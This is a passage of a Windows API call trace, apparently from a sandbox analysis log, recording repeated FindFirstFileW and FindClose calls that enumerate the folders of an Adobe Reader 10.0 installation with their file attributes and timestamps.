10.0\\Reader\\Legal\\SUO\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.804] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.804] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.804] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.804] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.805] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.805] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.806] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.806] FindClose (in: hFindFile=0x718758 | out: hFindFile=0x718758) returned 1 [0029.806] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718758 [0029.807] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.810] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.811] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.811] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.811] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.814] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.815] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.815] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.815] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.817] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.817] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.818] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.818] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.820] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.821] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.821] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.821] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.823] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.823] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.823] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.824] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.826] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.826] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.826] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.826] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.829] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.830] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.830] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.830] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.832] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.833] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.833] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.833] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.835] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.835] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.835] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.836] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.838] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.838] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.838] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.838] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.841] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.841] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.842] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.842] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.844] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.844] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.844] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.844] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.847] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.848] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.848] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.848] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.850] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.850] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.850] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.850] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.856] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.856] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.857] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.857] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.859] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7187d8 [0029.860] FindClose (in: hFindFile=0x7187d8 | out: hFindFile=0x7187d8) returned 1 [0029.860] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.860] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, 